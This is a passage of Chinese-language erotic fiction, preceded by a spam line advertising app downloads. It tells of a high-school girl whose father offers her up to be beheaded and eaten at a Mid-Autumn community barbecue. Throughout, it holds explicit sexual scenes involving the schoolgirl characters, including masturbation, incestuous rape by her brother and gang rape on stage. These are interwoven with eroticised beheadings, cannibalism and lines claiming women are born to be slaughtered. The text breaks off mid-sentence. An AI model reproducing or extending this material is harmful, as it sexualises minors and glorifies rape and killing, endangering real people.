以下APP站长已检测强烈推荐下载(狼友必备)

中秋节特别篇之中秋雯妹斩首趣

眼前是张宣传单,斗大的标题格外引人注目,我张大了嘴呆呆的看着这张来
曆不明的纸。

  「小雯,这是怎麽回事?我怎麽不知道妳中秋节打算献身啊?」和我情谊最
好的同学小芳有些恼怒的质问着我。

  「我…我…」我惊恐的抢过了那张纸。

  「中秋节小区烤肉活动,欢乐烟火晚会,可自带肉,也可免费享用现场提供
的肉食。此外小区中的十大美女之一的戴佩雯也在这几天同意了在中秋烤肉晚会
上献出自己年轻的肉体爲大家加菜,机会难得,欢迎各位乡亲踊跃参加!」

  传单的底下则附上了一张我个人穿着学生制服的半身照片,斜倚墙边,明眸
远望,微微上扬的朱唇却不知在挑逗着谁。

  「这…这…」我捏着纸的双手越握越紧,「我怎麽不知道我中秋节打算献身
啊!」

  「阴谋。」不知何时出现在一旁的女同学小桦面无表情的说。

  「阴谋?」我几乎失去了思考的能力。

  「肯定是某个人偷偷陷害妳的,到时候妳被拖上台再怎样哀号也没人救得了
妳了。」她抿着双唇,看起来应该是在担心我。

  「那…那怎办?照这样看我的下场应该是被斩首吧。」我抓着头发,几乎要
疯了。

  「我陪妳!」小芳抱住了我,温暖的热气拂过耳际。「小坏蛋,自己跑去被
斩首也太奸诈了吧!」

  「我也觉得这是个不错的主意。」小桦坐在一旁的桌面上打量着我们,短裙
下雪白的大腿交叉着,「有个人陪很好。」

  「哪裏好啦!重点不是有没有人陪我,是我根本就不想这样莫名奇妙的被宰
掉啊!」我趴在桌上哀号着。

  「害羞啦?」小芳噗嗤的笑着。

  「害羞什麽啦……妳在说什麽啦…」趴在桌上的我连反驳的力气都没有了。

  「妳不是…一直都很想被斩首吗?小坏坏,还装,还是还需要我再像昨晚一
样好好的安慰妳一下呢…?」

  「呃…啊!」恍神间,小穴一阵刺激,小芳这坏蛋的手指不知何时早已伸入
了我裙底,突破了内裤的防御开始在我穴裏抠挖起来。

  「等等…不要…」我挣扎着。

  「不要?妳湿透的穴早已背叛妳了,在一起这麽久了我怎麽会不知道妳在想
什麽?你现在满脑子都已经是自己无头尸体的画面了对吧?小?淫?娃。」邪恶
的她在我耳边娇笑着。

  「不是…我…」我呻吟着,「该不会这是妳的阴谋吧?」

  「哪有可能,我这麽爱妳,不是吗」她柔软丰满的双乳在我的背上磨蹭着。

  「等等…我记得好像…」某个画面突然在我脑中如电一般闪过。

  「嗯?」小芳的声音甜甜的。

  「我怎麽记得好像…」我努力的挖掘着脑中的记忆。

  「好像…之前也曾经陷入妳的阴谋而被斩首似的…」

  「噗…」小芳连口水都喷到我耳朵上了,「噗哈哈哈,妳真幽默,难道妳真
的觉得被斩首了现在还有可能活着在这裏跟我聊天吗?」

  「我也觉得不可能,可是总有种很真实的感觉…」我喃喃的说着。

  「该不会是作梦吧。」小桦清澈的眼睛直盯着我。

  「我不知道…但好像小桦也被斩首了…?」我转头,却看见她俏丽的脸上满
是红晕。「啊,妳也喜欢斩首?」

  她没回答,只是红着脸微微点头。

  「那我们可以三个人一起被斩首。」小芳笑着。

  小桦没回答,只是继续微微点头。

  「不对,什麽时候变成要不要一起被斩首的问题了啦…重点是我根本不知道
我要被斩首啊!」

  「也许可以先去查查传单是谁发的?」小桦建议。

  「好主意。」我猛的站起身,背上的小芳吓了一跳。「小芳,妳这传单哪来
的?」

  「啊,我出门时在我家门口信箱看到的啊,可能家家户户都收到一张了吧?」
她耸耸肩,一副无奈的样子。

  「这样啊…这样就不容易找出是谁发的了…」我有些沮丧。

  「想想看谁知道妳喜欢斩首?看这传单应该是个了解妳的人写的吧?」小桦
说。

  「嗯…小芳、妳、我男友、华哥…?」我沈吟着。

  「…华哥?他不是训导主任吗?怎麽会知道?」小芳有点讶异。

  「我…我跟他说过啊。」我脸红。

  「用上面的嘴还是下面的嘴说啊?」小芳捏着我的脸。

  「都…都有啦…」我的声音越来越小。

  「唷~ 不简单喔,连训导主任都看的上妳,妳知道学校裏有多少女孩想跟他
做爱吗?」小芳似笑非笑的看着我。

  「我知道啊…只是…」

  「好啦,我看放学后先去问问华哥,再去问妳男友,中秋节是明天吧,再拖
就来不及了。」

  「中秋节是明天!?」我惊恐的表情全写在脸上。

  「对啊,不然妳以爲是什麽时候?」

  「…两天后吧。」

  「笨蛋。」小桦做出了结论。

  敲着男友家的门,我的心中有些忐忑。刚刚华哥幸灾乐祸的表情全写在脸上,
只是兴奋的说他也要参加,但却也表示传单和自己毫无关系。

  「身爲一个训导主任,以莫须有的罪名宰杀一个女孩是再正常不过的事,我
怎麽可能大费周章的发一堆传单?」他鼻孔裏喷气,满脸的不屑。

  所以是我男友吗…?

  如果真的是他怎麽办?我喜欢的人就这样背叛我把我宰掉…?

  还是他受了某人的贿赂,也许他已经不爱我了?

  还是其实他根本就想要看着我被斩首边和其它女人做爱?

  不管是什麽样的答案,这对我来说都是很可怕的打击吧。

  也许还是不要问比较好?但若不问清楚事情又无法解决…

  我…好烦…

  「别紧张嘛,小雯,我一直都是站在妳这边的啊。」小芳拍着我的肩膀。

  「这样根本不叫安慰吧…」我吐槽。

  说话间门开了,一个女孩探出头来。

  「请问有事吗?」她礼貌的问。

  「啊,我们要找京宇航,请问他在家吗?」我有些局促。

  「他不在耶,找他有什麽事吗?」

  「只是有点事情想问他,他去哪裏了?」我问。

  「我也不清楚欸,他常这样啊,自己一个人出去,但总会回来的,所以我们
也没有过问。」

  「好吧…」

  「啊等等…他出门前好像有提到要去买些烤肉用具…?」女孩思索着。

  「…」我故作镇定转身,「那…那…等他回来我再来找他好了…」

  「等等,要我转告他谁来找他了吗?」女孩在我身后问。

  「不用了吧…」

  反正…总会见到他的,在上烤肉架之前…

  「不打电话给他吗?」回家的路上,走在我旁边的小芳关心的问。

  「我们都只是高中生,哪来的手机啊…」我沮丧的说。

  「好吧…不管结果如何,我都是站在妳这边的,别想太多了。」她向我挥挥
手,「掰掰。」

  「掰掰…」

  这是斩首耶,哪有可能不想太多…

  「小雯!妳回来啦?」一开家门,妈妈热情的上来拥抱我。

  「嗯,对啊,怎麽了,怎麽突然想抱我?」我有些疑惑。

  「呵呵,很奇怪吗?妳一直都是我的乖女儿啊。」她在我脸上亲了一下。

  「小雯啊,爸爸最近要竞选裏长连任,宣传方面可要麻烦妳多多帮忙了!」
爸爸不知何时出现在妈妈身后,微笑着对我说。

  「呃,可以啊,可是我要怎麽帮?」我一直都以我这个裏长爸爸爲荣。

  「明天妳就知道了,我安排了一个很重要的宣传工作给妳。」他神秘的笑着。

  明天…可是我明天不是就要被某个人拖到晚会上斩首了吗…?

  对了,这样说起来爸妈好像还不知道这件事情的样子?是因爲没看到传单吗?

  我带着疑惑的心情回到了房间,摊在床上大大的歎了口气。

  这世界也太荒唐了吧,莫名奇妙就要被处决,悲惨的是我甚至还不知道是谁

策划的。

  不知道他们会怎麽处决我,断头台?刀子?斧头…?还是某种我没看过的宰
杀机器?

  不管怎样,总会有个锋利的东西从我的脖子划过,然后…然后…

  我轻轻摸着自己滑嫩的脖颈,微微有些颤抖。

  然后…我的头就会滚出去,头发披散开来,我没了头的身体还在颤抖抽蓄…

  不知道我会不会被脱光,还是还能穿着衣服…

  不知道会不会有刑前安慰,可是这样等于是要在小区的人们面前被…

  小穴好像湿了…

  我放在两腿间的右手缓缓的撩起了制服短裙,隔着内裤偷偷的搓揉着那开始
湿透的草丛。

  「我还是比较喜欢跪趴着的姿势,像狗狗这样,让男人从后面…」

  手指掰开了内裤。

  「粗粗、硬硬、热热的…从这条缝插进去…把我裏面撑开,然后…」

  手指沾满了汁液,正开始往细缝中探索的我讶异的发现自己竟然在喘息。

  「天啊…怎麽会这样,我这个样子好像很淫蕩…就像电视裏那些被斩首时潮
吹的女人一样…?」

  探索着肉壁的手指微微颤抖着,手掌贴上了阴唇,试图在搓揉中寻求更大的
快感。

  「可是这样好兴奋…我没了头的身体可能会被继续被男人侵犯着,屁股的肉
在颤抖,乳房也是…」

  我扯下湿了一片的内裤,翻过身来跪趴在床上,圆润的臀部翘的老高,将裙
子撩到了腰间。

  「就像这样吗…?男人就这样插进来,但我性感的身体已经没有了头…娇柔
的随着他的动作疯狂的颤抖…」

  我再次将手伸到了两腿间,自大腿内侧陷入那潮湿的蜜穴。

  「好兴奋…碰的一声我就会以这样的姿势丢掉了自己的脑袋…」

  我的理智开始失去控制,手指伴随着水声在自己天然的裂缝中疯狂的挖掘,
沈浸在性兴奋中的雪白双腿也不由自主的微微颤抖着。

  「希望是用斧头…我喜欢斧头,碰的一声太震撼人心了,在我身后的男人完
全不会同情我,而我淫蕩的表现却让他兴奋难耐…」

  我呻吟着,淫水顺着抠挖的手指流下,几乎要达到高潮了。

  「佩雯…那个…」一个男孩的声音突然在我身后响起。

  这一惊当真非同小可!我惊恐的翻过身来,插在穴裏的手指还被狠狠夹了一
下。

  「吃饭了…」眼前的是我弟,但他从不叫我姊,总是直呼着我的名字。

  「好…好…」我尴尬的拉下裙子试图遮住私密处,却发现他盯着我两腿间的
双眼中似乎闪烁着一种让我感到熟悉的眼神那是只有我在华哥上次喝醉后把我推
倒在断头台上準备硬上我时才看过的眼神。

  「你先出去啦…」我有些惶恐。

  「…嗯。」他转身。

  我就这样带着混乱的心情度过了一整晚。夜深了,躺在床上的我却仍然崭转
难眠。

  「不知道我能不能活过明天…月亮好圆,我是否还有机会再一次看见月亮的
缺口?倒霉的话明天的现在我大概连尸体都不剩了吧…?没办法再躺在这张床上,
没办法再穿漂亮衣服,没办法再享受身爲人一切…」

  我想起了之前小区美女投票中自己得了第五名的回忆。

  「这样美好的身体,可能明天就会变成了一块肉吗…」

  想着想着,我开始讶异的发现自己对于死亡似乎没有那麽恐惧,内心深处反
而隐隐有些期待。

  不知不觉中我又再一次的将手伸进了短短的睡裙裏搓揉着开始润湿的私处。

  如果我就这样在台上被抽插着斩首了,说不定底下的男性观衆们还会因爲我
无头身体的表演而一柱擎天…说不定连女性观衆们都会羡慕着我的美丽与性感…

  如果,我就这样被斩首了,是不是其实也没那麽糟…?

  不知不觉中,我就这样边幻想着边睡着了,似乎还梦到了个兴奋的斩首游戏。

  「小雯,起床了!今天事情可多着呢!」朦胧中听见妈妈打开了房门对我喊
着。

  「啊,是说帮爸爸宣传的事情?」我揉揉眼,从床上坐起身来。


  「是啊,快点换个衣服要和爸爸出门了。」

  「我到底要做些什麽啊?你们一直都不说。」我抱怨着。

  「妳会知道的,妳只要跟着爸爸走,听他的话,让大家知道妳是他的好女儿
就可以了。」妈妈笑的有些神秘。

  「那我要穿什麽衣服?」

  「学校制服就可以了,要穿最干净的那一件喔。」

  「好…」我抓抓头,用手梳着头发。

  「啊还有…」她似乎有些腼腆,「那个…内衣裤也要穿好看一点的,不要随
便穿喔。」

  「…好。」

  莫名的,开始有点搞不懂自己周围的人都在想些什麽了…

  「哦!我们的小雯今天好有气质啊!」刚下楼,爸爸看见穿着学生制服的我
忍不住赞歎起来。

  「嗯…那我们今天要做什麽呢?」我脸红,有些不自在的捏着自己的裙襬.
「哈哈,跟我出去看看小区民衆,拉拉票啊,今天是中秋节,也该祝大家中秋节
快乐吧。」他笑道。

  「可以啊。」我点点头。

  「妳先出去等我,我拿个东西就出来。」爸爸挥挥手。

  「好。」

  我开门,却看见门口已经站了一个人。

  那是宇航,我的男友。

  「…你…」我惊恐的说不出话来。

  「小雯,我…」

  「是你吗?」我打断了他,「想让我成爲晚会主角的人?」

  「呃…妳都知道了?」他有些讶异。

  「…爲什麽?」我几乎要哭了,「我以爲你很爱我的…」

  「就是因爲爱妳,所以我才计划了晚会啊…妳到底在说什麽啊?」他一脸莫
名奇妙。

  「难道你真的以爲我喜欢这样吗!?我…」我哭着。

  「怎麽啦小雯?」爸爸在我身后打断了我。

  「没事…爸我们快走。」我拉着爸爸的手。

  只要离他远点,我应该就不至于被斩首了吧。

  难道这个世界的男人都这样吗…?以爲女孩最爱的事情就是被宰掉…?

  如果我连最爱我的男友都无法相信了,那是否世界上唯一能相信的男人只剩
下我爸?

  混乱的脑中只剩下被背叛的感觉,心不在焉的我甚至不知道自己今天一整天
都做了些什麽。

  好想哭,但又必须强顔欢笑。有些模糊的视线中尽是些看过的亲戚邻居还有
爸妈的朋友们,但我却不记得他们说了什麽。

  「小雯今天好性感。」,「有这样的乖女儿真是戴先生的福气啊!」

  隐隐,我只记得一些奉承的话语,还有一些给爸爸的承诺。

  「小雯!?」爸爸的呼唤再次把我拉回现实。

  「啊,怎麽了?」我回神一看,才发现我们已经回到了家门口。

  「妳今天的表现很不错,大家都很夸奖妳呢!」他对我微笑。

  「呃,这是应该的啦。」我谦虚的说。

  「接下来,就剩下晚上的中秋晚会了。」他说。

  「谁办的晚会啊?」我有点不安。

  「当然是我们家啊。」

  应该没关系吧,只要不是男友就好。

  「妳妈妈他们,应该也快準备好了吧,都快下午四点了,我是预计四点开始
举行的,很多人都会来参加。」

  很多人都会来参加…?

  「对了,小雯,我应该还没给妳看过这个吧?」爸爸说着从口袋裏拿出一张
传单。

  中秋雯妹斩首趣,性感胴体欢乐送!

  我的心,彻底的,彻底的,彻底的…

  凉了。

  「…爸?」心髒似乎忘了跳动,圆睁的双眼中只剩下不解,以前的男人似乎
再也无法和自己的记忆重合。

  「小雯啊,妳是我的好女儿,一直都是。」他缓缓的说。

  「那爲什麽…?」我后退了几步。

  「我也没办法,爲了展现我竞选的诚意,我必须要有所牺牲…」他看着我,
似乎有些爲难。「妳放心,我不会让妳感到太多痛苦的…」

  「不…不要…啊!」我后退,双手却突然被一双强而有力的手抓住拉到了背

后,还来不及反抗,我的双手瞬间就被一副手铐铐了起来。

  「佩雯,妳…早就不是处女了吧?」弟弟不带感情的声音在我背后响起。

  「爲什麽…连信诚你也这样对我?」我惊恐的问。

  「这是爸爸的主意,我只是听命行事罢了。」他悠閑的抓着我的手腕将我推
回爸爸面前。

  「信诚,妈妈他们都準备好了吧?」爸爸问。

  「嗯,都好了,他们在小区活动中心。」弟弟回答。

  「很好,等等把佩雯带过去,我们就可以开始了,你先帮她清理一下。」爸
爸笑道。

  「真的可以吗?爸。」弟弟露出了难得的欣喜。

  「当然,记得要洗干净。」

  「什麽意思?」我还未进入状况,他们的对话只听得我一头雾水。

  「进去吧。」弟弟推着我进门,我没明白过来,自己就被他猛得压在了墙上。

  「佩雯啊,妳知道妳真的很美吗?」他边说边撩起了我短短的制服裙,精实
的手臂在我的翘臀上游走。

  「你!…啊!」我惊呼一声,自己粉色的蕾丝内裤已经被他扯了下来缠在脚
踝上,而自己反铐的双手却无法做出任何抵抗。

  「反正妳都要被斩首了,妳不是最爱被斩首了吗?那妳应该也知道…斩首之
前做个刑前安慰是基本步骤吧?」他的气息吹拂着我耳际。

  「你怎麽知道我喜欢斩首!」我克制不住的喘息着,他的手指已经开始探索
着我润湿的两腿间。

  「总会有方法的不是吗?」不待我回答,他的嘴已经吻上了我的唇。「昨天
啊,我看妳在房间裏偷偷自慰,我就更加肯定了,妳早就看到那张传单了吧?」

  「该不会那是你做的?」我惊问。

  「当然。」他从后面抱住了我,一手在我两腿间搓揉,而另一手已经不安分
的开始解开我的衬衣钮扣。

  「不行…你这样是乱伦!」我试图反抗。

  「乱伦!?哈哈,别逗我笑了,当献身同意书成立的同时,我和妳就已经没
有法律上的亲属关系了,哪来的乱伦?而且这也不是做爱,这叫做刑前安慰,这
是每个女孩被宰杀前都必须试着去享受的过程。」他揉着我丰满的双乳,轻轻的
啃咬的我的脖颈。

  「可是我还没签!」我挣扎。

  「爸爸签就够了,真是的,妳道底有没有认真上课啊?法律规定在女孩20
岁之前父亲有决定是否让女孩献身的权利不是吗?就算女孩同意献身也是要经过
父亲允许啊。」他边说边掏出了早已坚硬的肉棒在我雪白的臀部上磨蹭着,一副
蓄势待发的样子。

  「是喔…」

  「还是喔,妳真的很不认真耶!算了没差了啦,等等妳都要被宰了,来跟我
好好享受吧!」他把我抱了起来往沙发上一丢,我呻吟着,短裙退到了大腿根部,
湿漉漉的阴部毫无防备的暴露在他贪婪的目光下。

  「妳啊…其实也很想跟我做吧?」他淫笑着,彷佛看透了我的欲望。

  「是有幻想过…啊!」我呻吟着,无法抵抗的任由他扑了上来,健壮的双手
扶住了我纤细的腰肢,那硬挺得发红的肉棒在我还未表示完意见之前便强硬的撑
开了我的肉缝,毫无阻碍的滑进了早已湿透的阴道裏。

  我喘息着,讶异的发现自己竟然没有太多的厌恶,男人在我两腿间的耕耘刺
激着我一步步走向顶峰。而这一切即使来得突然,我也没有过多的恐惧,脑中塞
满的早已不是对于死亡的害怕,而是期待着自己的斩首表演能够多性感。自己失
去脑袋的无头身体再一次的出现在幻想中,正在随着男人的节奏起舞,就像现在
一样…而直到我死透之后,我的身体或许还会以最淫糜的一面在男人的玩弄下扭
动,全身赤裸,性感的丰臀啪啪啪的碰撞着,胸口两粒白兔跳跃,而这一切都只
是在诱惑着男人将更多的精华灌注进我体内…

  死亡是否…也不是一件坏事,如果自己被斩首的瞬间能够留在大家的心中的
话…

  「其实我们女人,生来就是要被宰掉的。」我想起了国文老师有天上课时有
感而发的一句话。「我们总是一辈子追求着性感与美丽,也许是爲了自己;也许

是爲了男人,但往往直到最后才发现,自己被处决的那一瞬间,对男人来说才是
最性感的存在,也是最美丽的永恒。」

  是否被斩首时的我,在家人眼中才是最娇豔的存在?

  我呻吟着,双腿紧紧夹住了信诚的腰。

  蓦然间,信诚颤抖着,将一股浓稠的热流射进了我的子宫深处。

  「妳的阴唇肉排…我要定了…」他喘着气做最后的挣扎,看着开始颤栗的我
微微的笑着,「还有…妳那连着子宫的整副生殖器。」

  肉棒猛地拔出,只留下高潮中的我分开着双腿向天空喷洒着淫蕩的汁液。

  太阳下山了,家家户户纷纷来到现场,晚会也开始热闹起来,有些人甚至已
经开始生火。

  「裏长先生!你的女儿真是孝顺啊!竟然愿意爲了中秋节活动献身,真是不
简单啊!」隔壁的林先生握着爸爸的手,满脸的阿谀奉承。

  「哈哈哈,哪裏,受到你们大家照顾这麽久了,也是该爲小区做一点回馈了。」
爸爸开心的笑着。

  「那…」林先生看着我,满脸的淫笑。

  「哈哈,放心吧!既然决定献身了,该有的安慰也不会少,你们就尽情享受
吧!」

  看着爸爸当着我的面说出这样的话,我意外的没有感到太多的难过。也许弟
弟说的没错,在献身同意书成立的同时,我和他们就已经没有亲属关系了。

  现在的我,只是一个等待被斩首的女人而已。

  「小雯!」熟悉的声音在背后响起,我转头,看见小芳小桦竟然也来了。

  「你们怎麽也来了!?你们又不是我们小区的!」我惊讶的问。

  「小雯,妳好见外,我们是朋友耶,妳要被斩首了怎麽可以不来?」小芳抱
着我磨蹭。

  「结果妳真的还是接受了这个结果吗?」小桦看着我,似乎有点脸红。

  「嗯…对啊,同意书都签了我能怎麽办?倒是我男友,我好像错怪他了,也
许他说的是不一样的晚会。」我无奈的说。

  「才怪!男人都一样,他只是想在不一样的晚会上把妳宰掉而已。」小桦表
示。

  「不会啦,他也无法无缘无故宰掉我,毕竟决定权在我爸妈,不是他,这是
我后来才想到的。」我讶异的发现自己异常的平静。

  「小桦说他也想一起被斩首,妳看她连同意书都带来了!」小芳兴奋的说。

  「真的吗…?妳怎麽会有这样的想法!?」我睁大了眼睛。

  「因爲…我一直都想被斩首啊,我觉得与其自己一个人孤独的被处决,到不
如和好朋友一起走,这样感觉会比较好吧?」她低头,彻底的红了脸。

  「噢噢!妳真是我的好朋友!」我感动的说。

  「好啦别聊了,别忘了妳是主角。」爸爸在我身后笑着把我拉走。

  「那…我要做什麽?」我不解。

  「一样啊,当个乖女儿就好。」他把我带上了讲台。

  「各位乡亲朋友们!」他拿起了麦克风,「今天,是中秋节,也是一年中我
们可以团圆的好日子之一,身爲一个裏长,我以各位能够安居乐业爲荣,这几年
来,我也受到了各位很多照顾,爲了感谢各位,我将把我最美丽的女儿在这个晚
会上贡献出来,而她本人也非常乐于回馈我们的乡亲朋友,也希望各位能够继续
给予我们支持!我一定会继续的努力,让这个小区好,还要更好!大家说好不好!?」

  「好!!」底下的观衆们拍着手大喊。

  「好!我就不再多说了,祝大家今晚玩的愉快!」他放下麦克风,笑着朝大
家挥了挥手。

  我有些不知所措,但随即手腕一紧,我回头,出现在我眼前的却是邻居林先
生的儿子小钢。

  「我等这一天…等好久了!」他淫笑着,掏出了一条不知哪来的绳子将我的
双手反绑起来。

  「你!原来你一直在打我的主意!」我呻吟着,却莫名的有些兴奋。

  「哪个男人没打过妳的主意。」他也不在乎我们仍在台上,毛手毛脚的便将
我那仅能遮住屁股的短裙撩了起来,羞耻的感觉袭上心头,我正想挣扎却发现自

己的两腿间已经不争气的湿了。他哈哈笑着,一脚踢在我的膝盖弯处让我跪了下
来,刷的一声拉开了拉炼掏出了他那巨大的小伙伴,扯着我的头发便将带着腥味
和热气的棒子塞进了我嘴裏。我挣扎着,失去了反抗的能力,身体却在这样的刺
激下开始燥热起来,抗拒的声音在不知不觉中成了淫蕩的喘息,他的下体一下下
的挺进,每次都捅进了我的喉咙深处,我的咽喉蠕动着,丰腴的嘴唇紧紧包容着
发烫的肉棒,他吼着,似乎因爲我的努力而越发性奋,嘴中的棒子也胀大了不少。

  「骚货!」蓦地他将肉棒一抽,压着我的背让我跪趴在地,嘴中的空虚让我
下意识的呻吟了一声,屁股一凉,短裙被掀到了腰部,随即自己湿了一大块的蕾
丝内裤也被扯了下来,我喘息着,唾液在嘴边流淌,男人拍了拍我高高撅起的臀
部,不待我反应便将那坚硬的家伙狠狠的插进了我的阴道裏。

  「头香!」他大吼。我的理智瞬间破裂,放肆的淫叫了起来,「碰!」的一
声,视线所及处一把斧头劈下,精緻的脑袋滚了出去,长发披散开来,却是有个
年轻女孩已经被斩首了。她的衣服不知何时已经被扒光,丰硕的乳房在胸前晃动,
精緻的乳头仍然尖挺,而肩膀以上早已成了一片血雾,无头的娇躯颤栗着似乎还
在追逐着无穷无尽的高潮,她的臀部仍然被男人霸占,丰腴的屁股肉一下又一下
的随着男人的挺进而颤动,彷佛不知何谓疲倦。

  「看到了吗?等等妳也会跟她一样的!」在身后奋力撞击我臀部的男人嘶吼
着,似乎因爲刚刚的斩首更加性奋了,女孩的脑袋被刽子手提起,姣好的面容上
残留着的却是一种异样的满足,鲜血玷汙了她的五官,让她开始苍白的脸庞更显
凄美,无头尸体的抽蓄逐渐到达了尾声,啪的一声丰满的上半身趴倒在地,雪白
的乳房被挤压变了形,在他身后耕耘的男人一声嘶吼,扶着她高耸的翘臀颤栗着
将体内的精华全射进了女孩失去生命的阴道深处。

  「哇靠!那个刽子手竟然是女的!」小钢惊讶的叫着,我定睛一看,可不是
吗?那个一手拿着斧头,另一手提着女孩头颅的人竟是个不折不扣的美女,妖娇
的身体被一身紫色露肩小洋装包裹着,尖挺的双乳,纤细的腰肢,更吸引人目光
的却是那一双修长的雪白美腿,蹬着一双高跟鞋似乎在看着我傻笑,灯光照耀下
我才发现那溅上了几滴鲜血的面孔竟然是我所熟悉的小桦。

  「小桦!」我惊叫着,却看见她向讲台走了过来。

  「妳认识她?」小钢开始颤栗,肉棒抽蓄着将一股浓浓的精液射进了我的子
宫内。

  「她是我同学!」我喘息着,上半身摊在地上任由那淫秽的液体在大腿上流
淌,不敢置信的看着眼前那名爲小桦的美女。「妳竟然会斩首?」

  「会…会啊…之前小芳教我的。」她有些腼腆,扬了扬手上的美人头,「不
过我也只有拿木头模拟练习过而已,今天还是第一次真砍,砍的还是我妹…。」

  「没想到小芳那麽厉害,还会斩首,我认识她那麽久了还不知道…」我讶异
的说。

  「哎呀,有这样的技术也不好到处宣传,等等男人都被吓跑了,我也是无意
间知道的,她家人来头不小呢!有几位在政府的刑事部门服务的样子。」小桦有
些脸红,「其实…小芳也答应我了,等等我的斩首会让她来执行…」

  「好棒…」我有些羡慕,「其实我一直觉得被自己熟悉的朋友或亲人斩首是
一件非常兴奋的事情。」

  「放心吧!小雯妳求她砍妳的话,她应该高兴都来不及了呢。」小桦笑着。

  「那好,小芳呢?」我问,此时我身后的男人已经将逐渐变软的肉棒抽了出
来,一脚踢在我雪白的丰臀上,弄得我又呻吟了一声。

  「她喔…应该在开心的斩首女人吧!等等我会跟她说的。」小桦说着蹲下身,
挺感兴趣的看着我,我却发现她那洋装短裙下什麽都没穿,两腿间稀疏的草丛中
似乎还挂着几颗露珠,「在台上这样被轮奸感觉怎麽样?会不会很兴奋啊?」

  「妳试试看不就知道了?我看妳也湿透了…啊!」我回答,却感觉臀部一紧,

另一个男人扶着我的丰臀,坚硬的家伙未经允许的又再次侵入我体内。

  「这样太丢脸了,我还是跟我家人玩就好,刚刚跟我妹做爱的是我表哥呢!
他似乎技术很好的样子。」

  「那妳就跟家人好好玩玩吧,我…呜…」不待我说完,一个住在我家附近的
中年人抓着我的头发淫笑着将他那腥臭的肉棒塞进了我嘴裏。

  「不论过程如何,我想我们的斩首最后都会很性感的…」小桦在一旁看着我,
悠悠的说。

  希望如此。

  我很想这麽说,但我的嘴早已被彻底的塞满,再也说不出任何一句话。

  晚会持续着,但我早已不知道过了多久,一次又一次的抽插,一次又一次的
碰撞,一个又一个女孩失去了脑袋,无头尸体被穿刺起来烧烤,或是被肢解了用
各式各样的方式烹饪,碰的一声,又是一个女孩仰躺着被斧头砍掉了脑袋,下体
蠕动着将一股又一股的淫水自唇缝中喷出,让抽插她的男人也湿得一蹋胡涂,男
人怒吼着对女尸灌注自己囤积已久的精华,呼喊着似乎是属于女孩的姓名,眼中
闪烁着的却似乎是泪光。

  嘴唇再一次的被撑开,我的呻吟变成了闷哼,同时正在丰臀间抽动的男孩喘
息着将一股热流注入我体内,视线飘动着却发现小桦早就被反绑了起来,此时正
被那位被他称爲表哥的男人疯狂的抽插着,性感的洋装挂在纤细的腰间,圆润的
雪臀随着男人的进攻颤抖,浑圆的乳房耸动着挂在胸前摇晃,一个女孩站在他们
的身旁,手上拿着小桦刚刚所拿的斧头,仔细一看却是小芳。她穿着一身性感的
黑色细肩带连身短裙,丰满巨大的双乳夹出了深深的乳沟,斧头抵地,斧柄伸入
了短裙内似乎正在两腿间磨蹭,小芳笑着,兴奋之情不言而喻,悠閑的在一旁看
着小桦的表演,小桦淫叫着,似乎早就不是原来的她,精緻的脑袋扬起,迷蒙的
双眼似乎在追逐着未知的高潮,樱唇微张,宛若失去了理智,白嫩的脖颈搁在了
木桩上,雪白的身躯颤栗着,似乎在期待着什麽。

  我被男人们翻了过来,制服衬衣的扣子早已被全部解开,挂在我反绑的双手
上,白嫩的双肩露了出来,胸罩被粗暴的扯断,性感的玉兔在胸前跳跃,粉色坚
挺的乳头让一个男人忍不住狠狠的咬了一口,我惊呼,男人双脚跨在我的头上再
一次的用他粗大的肉棒将我的嘴塞满,黑色的百折裙淩乱的缠在腰间,爬满淫汁
的阴唇被淩傉得开始红肿,丰臀被另一个男人擡起,通红的肉棒毫无阻碍的进入,
我双腿夹住了男人的腰,剧烈的沖击似乎连子宫也在抽蓄,不久后跨在我头上的
男人一阵哆嗦,一股带着腥味的热流就这样沖进了我的喉咙,肉棒抽出,带出了
一丝唾液,刚刚的夹攻让我几乎无法呼吸,我剧烈的喘息着,在两腿间进攻的男
人却似乎抽插得更加猛烈。

  碰的一声,又是一把斧头落下,我转头,却看见小桦那带着淫蕩表情的小脑
袋腾空飞起,沾上了血迹的小嘴似乎正露着微笑,小芳这一劈真是霸气十足,精
緻的人头滚了好几公尺才终于停了下来,失去头颅的娇躯挺了起来朝向天空喷洒
着鲜红的血液,胸前的两粒乳房仍然随着男人的抽插而跳动,纤细的腰肢扭动着
似乎沈浸在极度的高潮当中,丰臀被男人撞得啪啪作响,修长的双腿颤栗着,淫
水自两腿间滑下,让这具失去了头颅的豔尸看起来更加淫糜。

  阴道开始剧烈的抽蓄,强烈的酥麻让我晃动的乳头似乎更加坚硬,眼前的景
象震撼着我的视觉,触动着我的性欲,我扬起了下巴放肆的淫叫着,阴唇蠕动着
将一股股清澈的淫水狂喷而出,我全身紧绷,分开的双腿抽蓄着几乎要抽筋了,
似乎感受到我强烈的吸允,在我两腿间进出的男人怒吼着达到了高潮,滚烫的液
体猛烈的射击着我的花心。

  「这女人真骚!」他满足的颤栗着,「好会吸…你妹的这样也潮吹…」

  肉棒猛地拔出,我还在颤栗的屁股就这样被男人丢在地上,此时的我早已不
知何谓羞耻,分开的双腿间淫水和精液的混合液体自唇缝中涌出,筋疲力竭的身
体摊在地上。我擡头看着明亮的月亮,不知自己被斩首后是否有机会飞上去与兔

子同住。

  下体被淋上了温水,似乎有人正在帮我清洗着,我看着眼前的夜空,却已无
力分辨到底是谁。

  「小雯?妳还好吗?」一个熟悉的声音,柔和且温暖。

  「宇航…?你怎麽…?」我努力的低头看着蹲在两腿间帮我清洗阴部的男人。

  「我看到传单了,真是的,要好好爱惜自己身体嘛。」他细心的将我阴道内
黏稠的液体挖了出来,边用水沖干净。

  「没办法,我已经…」我有些失神。

  「我知道妳要被斩首了,但对于男人的轮奸多少反抗一下嘛!」他抱怨着。
「本来今晚想跟妳两个人买些肉来烤,一起赏月,没想到会变成这个样子。」

  「宇航,你会记得我吗?」我歎了口气。

  「会,每当我看见月亮的时候。」他轻抚着我红肿的小穴,似乎有些心疼。

  「上我,好吗?你就当最后一个,对不起…」我抓着他的手,视线有些模糊。

  「好。」他吻上了我的嘴唇,右手在我胸腹间游走,我的小腹敏感的收缩,
小穴开阖着似乎又湿了。

  他解开了我反绑在背后的双手,温柔的替我脱下了淩乱不堪的衣服内衣,接
着边亲吻着我边扯下了那被水弄得湿透的短裙。我呻吟着,抱着他的脖颈分开了
双腿,阴唇被缓缓撑开,发烫的肉棒在阴道裏的悸动让我重然热情,嘴唇被撑开,
湿热的舌尖在嘴中交缠,双手被压在身体两侧,我喘息,却发现身体已经在男人
